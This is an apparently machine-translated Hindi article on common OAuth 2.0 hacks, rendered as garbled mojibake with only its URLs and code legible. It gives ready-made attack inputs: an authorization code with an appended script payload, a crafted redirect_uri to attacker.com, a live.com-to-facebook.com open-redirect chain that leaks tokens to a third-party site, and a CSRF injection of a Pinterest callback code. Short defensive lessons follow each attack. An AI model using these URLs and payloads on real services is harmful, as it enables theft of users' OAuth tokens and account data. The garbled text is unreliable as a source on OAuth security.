рд╕рдмрд╕реЗ рдЖрдо OAuth 2.0 рд╣реИрдХреНрд╕

OAuth 2 рдЕрд╡рд▓реЛрдХрди


рдпрд╣ рд▓реЗрдЦ рдорд╛рдирддрд╛ рд╣реИ рдХрд┐ рдкрд╛рдардХ OAuth 2 рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕рдХрд╛ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╡рд┐рд╡рд░рдг рдиреАрдЪреЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред



  1. рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рд╕реЗрд╡рд╛ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕реЗ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдЖрдИрдбреА, рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реАрдХреНрд░реЗрдЯ, рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ URI рдФрд░ рдЖрд╡рд╢реНрдпрдХ рд╕реНрдХреЛрдк рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
  2. рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрд╡реЗрджрди рдХреЛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЕрдиреБрджрд╛рди рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ
  3. рдЖрд╡реЗрджрди рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЕрдиреБрджрд╛рди рдкреНрд░рд╕реНрддреБрдд рдХрд░рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕рд░реНрд╡рд░ рд╕реЗ рдкрд╣реБрдВрдЪ рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ
  4. рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд╣рдЪрд╛рди рдкреНрд░рдорд╛рдгрд┐рдд рд╣реИ рдФрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЕрдиреБрджрд╛рди рд╡реИрдз рд╣реИ, рддреЛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕рд░реНрд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдПрдХреНрд╕реЗрд╕ рдФрд░ рд░рд┐рдлреНрд░реЗрд╢ (рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ) рдЯреЛрдХрди рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреВрд░рд╛ рд╣реЛ рдЧрдпрд╛ рд╣реИред
  5. рдЖрд╡реЗрджрди рд╕рдВрд╕рд╛рдзрди рд╕рд░реНрд╡рд░ рд╕реЗ рд╕рдВрд╕рд╛рдзрди рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ
  6. рдпрджрд┐ рдкрд╣реБрдБрдЪ рдЯреЛрдХрди рдорд╛рдиреНрдп рд╣реИ, рддреЛ рд╕рдВрд╕рд╛рдзрди рд╕рд░реНрд╡рд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреЗ рд▓рд┐рдП рд╕рдВрд╕рд╛рдзрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ

OAuth 2.0 рдореЗрдВ рдХреБрдЫ рдореБрдЦреНрдп рдкреЗрд╢реЗрд╡рд░реЛрдВ рдФрд░ рд╡рд┐рдкрдХреНрд╖ рд╣реИрдВ


  • OAuth 2.0 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдФрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИ (OAuth 1.0 рдХреА рддреБрд▓рдирд╛ рдореЗрдВ)
  • рд╡реНрдпрд╛рдкрдХ рдкреНрд░рд╕рд╛рд░ рдФрд░ рдирд┐рд░рдВрддрд░ рдмрдврд╝ рд░рд╣рд╛ рд╣реИ
  • рд╢реЙрд░реНрдЯ рдЯреЛрдХреЗрди рд░рд╣рддреЗ рдереЗ
  • рд╕рдордЭрд╛рдпрд╛ рд╕реНрддрди

- рдХреЛрдИ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдирд╣реАрдВ (рдХреЗрд╡рд▓ рдПрд╕рдПрд╕рдПрд▓ / рдЯреАрдПрд▓рдПрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ), рдмрд┐рдпрд░рд░ рдЯреЛрдХрди
- рдХреЛрдИ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ
- рдЦрддрд░рдирд╛рдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЕрдЧрд░ рдЕрдиреБрднрд╡реА рд▓реЛрдЧреЛрдВ рд╕реЗ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ
- рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╕рдордЭреМрддрд╛ред рдХрд╛рд░реНрдп рд╕рдореВрд╣ рдиреЗ рд╕реНрдкрд╖реНрдЯ рдирд┐рд░реНрдгрдп рдирд╣реАрдВ рд▓рд┐рдП
- рдореЛрдмрд╛рдЗрд▓ рдПрдХреАрдХрд░рдг (рд╡реЗрдм тАЛтАЛрджреГрд╢реНрдп)
- Oauth 2.0 рдХрд▓реНрдкрдирд╛ рдПрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ рдпрд╣ рдПрдХ рд░реВрдкрд░реЗрдЦрд╛ рд╣реИ - RFC 6749


рдЕрдзрд┐рдХ рдЧрдВрднреАрд░ рдореВрд▓реНрдпрд╛рдВрдХрди


OAuth 2 рднрд╛рдбрд╝реЗ


рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ


Google рд╣рдорд▓реЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:


  1. рдХреНрд▓рд╛рдЗрдВрдЯ рдЖрдИрдбреА рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░реЗрдВ
  2. рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ ( https://accounts.google.com/o/oauth2/auth ) рдЖрджрд┐ рдореЗрдВ рдПрдХ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
  3. рдЕрдм рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб рдХреЛ рдЗрд╕рдореЗрдВ рд╕реЗ рдмрджрд▓ рджреЗрдВ
    4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
    рдХреЛ
    4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> .
    рдЬреИрд╕рд╛ рдХрд┐ рдХрд╣рд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рд╡реИрдз рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб рд╣реЛрдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб TOKEN1.TOKEN2 рдХрд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ TOKEN1 рдорд╛рдиреНрдп рд╣реИ!
  4. рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рд╣реА рдЬрд╛рд▓реА рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб (рдЕрд░реНрдерд╛рдд 4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреБрдирдГ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВред рдЗрд╕ рд╕рдм рдХрд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣рд┐рд╕реНрд╕рд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЯреЛрдХрди рдПрдВрдбрдкреЙрдЗрдВрдЯ рдЗрд╕рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╡реИрдз рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб рдирд╣реАрдВ рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рддреНрд░реБрдЯрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддреА рд╣реИ: рдЯреЛрдХрди рд░рд┐рдХреЙрд░реНрдб:

 Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>" ... 

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЖрдЙрдЯрдкреБрдЯ рд╕реИрдирд┐рдЯрд╛рдЗрдЬреНрдб рдирд╣реАрдВ рд╣реИред


рд╕рдмрдХ рд╕реАрдЦрд╛:


рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдХрд┐рд╕реА рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб рдХрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕рд░реНрд╡рд░ рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рджреЗрддрд╛ рд╣реИ рдФрд░ рдЙрд╕ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкрд╣рд▓реЗ рдЬрд╛рд░реА рдХрд┐рдП рдЧрдП рд╕рднреА рдЯреЛрдХрди рдХреЛ (рдЬрдм рд╕рдВрднрд╡ рд╣реЛ) рдирд┐рд░рд╕реНрдд рдХрд░ рджреЗрддрд╛ рд╣реИред


рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ URI рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИ


рдЕрдм рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░:


  1. рдПрдХ рдирдП рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдкреАрдбрд╝рд┐рдд.рдХреЙрдо рдкреНрд░рджрд╛рддрд╛ рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рддрд╛ рд╣реИред
  2. рд╣рдорд▓рд╛рд╡рд░ U.com рдХреА рддрд░рд╣ рдПрдХ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд URI рдкрдВрдЬреАрдХреГрдд рдХрд░рддрд╛ рд╣реИ

рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдлреЙрд░реНрдо рдХрд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдпреВрдЖрд░рдЖрдИ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ


 http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com 


рдЕрдм рдЖрдк рдпрд╣ рддрд░реНрдХ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рдЦреБрд▓рд╛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рд╣реИ рдФрд░ рдпрд╣ рдмрд╣реБрдд рдХреБрдЫ рдирд╣реАрдВ рд╣реИ рдЬреЛ рдЖрдк рдЗрд╕рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ?


рдЖрдЗрдП рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдФрд░ рдлреЗрд╕рдмреБрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рддреЗ рд╣реИрдВ:


Microsoft рдПрдХ рд╡рд┐рд╢реЗрд╖ OAuth рдЧреБрдВрдЬрд╛рдЗрд╢ wli.contacts_emails рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдлреЗрд╕рдмреБрдХ рдХреЗ рдРрдк рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИред рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣рд┐рд╕реНрд╕рд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдХрднреА рд╕реВрдЪрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдРрдк рдЙрдирдХреЗ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЕрдиреБрдорддрд┐ рдЪреБрдкрдЪрд╛рдк рджреА рдЧрдИ рд╣реИред


рдЖрдк рдЗрд╕реЗ рдпрд╣рд╛рдБ рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдкрдХреЛ рд▓реЙрдЧрд┐рди рдХрд░рдирд╛ рд╣реЛрдЧрд╛):


 https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F 

рдпрджрд┐ рдЖрдк #### redirect_uri рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдЯреЛрдХрди #### facebook.com рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА URL рдХреЛ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЕрддрдГ OAuth рдЯреЛрдХрди рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЛ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП #### facebook.com рдбреЛрдореЗрди рдореЗрдВ рдПрдХ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдЬреИрд╕рд╛ рдХрд┐ рдУрдкрди рд░рд┐рдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдХреЛ рдЖрдорддреМрд░ рдкрд░ рдХрдо рдЧрдВрднреАрд░рддрд╛ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╣ рдПрдХ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдХрдард┐рди рдирд╣реАрдВ рд╣реИред рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╣рдо рдлреЗрд╕рдмреБрдХ рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рд╡рд╛рд╣ (рдПрдХ рдЕрд╡реИрдз ### рдЧреБрдВрдЬрд╛рдЗрд╢ рдкреИрд░рд╛рдореАрдЯрд░ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ) рдореЗрдВ рдПрдХ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдпрд╣ рдЗрд╕ рддрд░рд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:


 https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com 

рдЗрд╕рд▓рд┐рдП рджреЛ рдмрдЧреЛрдВ рдХреЛ рдЪреБрдирдХрд░ рд╣рдо live.com рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ OAuth рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВред рдкреВрд░рд╛ рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдБ рд╣реИ:


 https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com 

рдпрджрд┐ рдЖрдк рдЕрдм рдЧрдВрддрд╡реНрдп URL рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ Microsoft рдХрд╛ OAuth рдЯреЛрдХрди рдЖрдкрдХреА рд╕рд╣рдорддрд┐ рдХреЗ рдмрд┐рдирд╛ рдХрд┐рд╕реА рддреГрддреАрдп-рдкрдХреНрд╖ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рднреЗрдЬрд╛ рдЧрдпрд╛ рдерд╛ред рдПрдХ рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдбреЛрдореЗрди рдПрдХреНрд╕рдПрд╕рдПрд╕ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рд╣реИ, рдЬрд╣рд╛рдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрднреА рднреА рдЯреЛрдХрди рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреА рд╣реИред


рд╕рдмрдХ рд╕реАрдЦрд╛:


  1. OAuth рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдкреВрд░реЗ рдбреЛрдореЗрди рдХреЛ рдХрднреА рднреА рд╢реНрд╡реЗрддрд╕реВрдЪреА рдореЗрдВ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдХреЗрд╡рд▓ рдХреБрдЫ URL рддрд╛рдХрд┐ "рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ_рдпреВрд░реА" рдПрдХ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЛ рдЗрдВрдЧрд┐рдд рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рд╕рд╛рд╡рдзрд╛рди рд░рд╣рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрдм рдЪреБрдкрдЪрд╛рдк рдРрдкреНрд╕ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ (рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдРрдк рдХреЛ рдордВрдЬреВрд░реА рджреЗрдирд╛ рд╢рд╛рдпрдж рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрднрд╡ рдХреЛ рдмрд╣реБрдд рдЦрд░рд╛рдм рдирд╣реАрдВ рдХрд░реЗрдЧрд╛)ред
    рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╕рд░реНрд╡рд░ рдХреЛ рдлрд┐рд░ рд╕реЗ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рддреНрдпрд╛рдкрди рд╡рд┐рдзрд┐ рд╣реА рд╕рдЯреАрдХ рдорд┐рд▓рд╛рди рд╣реИ


  2. рдпрджрд┐ рд╕рдВрд╕рд╛рдзрди рд╕реНрд╡рд╛рдореА рдкрд╣реБрдБрдЪ рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рджреЗрддрд╛ рд╣реИ рдпрд╛ рдпрджрд┐ рдЕрдиреБрдкрд▓рдмреНрдз рдпрд╛ рдЕрдорд╛рдиреНрдп рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди URI рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдЕрдиреНрдп рдХрд╛рд░рдгреЛрдВ рд╕реЗ рд╡рд┐рдлрд▓ рд░рд╣рддрд╛ рд╣реИ, рддреЛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕рд░реНрд╡рд░ "рдЕрдиреБрдкреНрд░рдпреЛрдЧ / x-www рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди URI рдХреЗ рдХреНрд╡реЗрд░реА рдШрдЯрдХ рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛрдбрд╝рдХрд░ рдЧреНрд░рд╛рд╣рдХ рдХреЛ рд╕реВрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИред" -рдлреЙрд░реНрдо- urlencoded "рдкреНрд░рд╛рд░реВрдк


  3. HTTP 400 (рдЦрд░рд╛рдм рдЕрдиреБрд░реЛрдз) рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдВред



рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдЬрд╛рд▓рд╕рд╛рдЬреА OAuth рдХреНрд▓рд╛рдЗрдВрдЯ


рдЧреНрд░рд╛рд╣рдХ рдХреЗ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рд╕реАрдПрд╕рдЖрд░рдПрдл рд╣рдорд▓рд╛ рдпреВрдЖрд░рдЖрдИ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЕрдкрдиреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛрдб рдпрд╛ рдЯреЛрдХрди рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреАрдбрд╝рд┐рдд рдХреЗ рдмрдЬрд╛рдп рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реЗ рдПрдХреНрд╕реЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЧреНрд░рд╛рд╣рдХ рдХреЛ рдкрд░рд┐рдгрд╛рдо рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреИрдВрдХ рдЦрд╛рддреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдПред рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдПрдХ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди)ред


  1. рдХреНрд▓рд╛рдЗрдВрдЯ рдЪреБрдиреЗрдВ рдЬреЛ рд╣реИрдХ рдХреА "рд╕реНрдерд┐рддрд┐" рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИ - рдХреБрдЫ site.com (рд╣рдо рд╢реЛрдХреЗрд╕ рдХреЗ рд░реВрдк рдореЗрдВ Pinterest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ) рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рдХрд░реЗрдВ - "OAuth рдкреНрд░рджрд╛рддрд╛ рд▓реЙрдЧрд┐рди рдЬреЛрдбрд╝реЗрдВ" рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рдЖрдкрдХреЛ рдкреНрд░рджрд╛рддрд╛ рд╕реЗ рдХреЙрд▓рдмреИрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЙрд╕реЗ рдпрд╛рддреНрд░рд╛ рдирд╣реАрдВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдПред


  2. рдкрд┐рдЫрд▓реЗ URL рдХреЗ рд▓рд┐рдП рдХреНрдпрд╛ рдпрд╛рддреНрд░рд╛ рдирд╣реАрдВ ( http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI# ), рдмрд╕ рдХреЛ рдмрдЪрд╛рдиреЗ рдФрд░ рдбрд╛рд▓ рдЖрдИрдЯреА src = "URL" рдпрд╛ iframe рдпрд╛ рдХреБрдЫ рдореЗрдВ img рдЕрдиреНрдпрдерд╛ рдЖрдк рдЕрдиреБрд░реЛрдз рднреЗрдЬрдирд╛ рдкрд╕рдВрдж рдХрд░рддреЗ рд╣реИрдВред






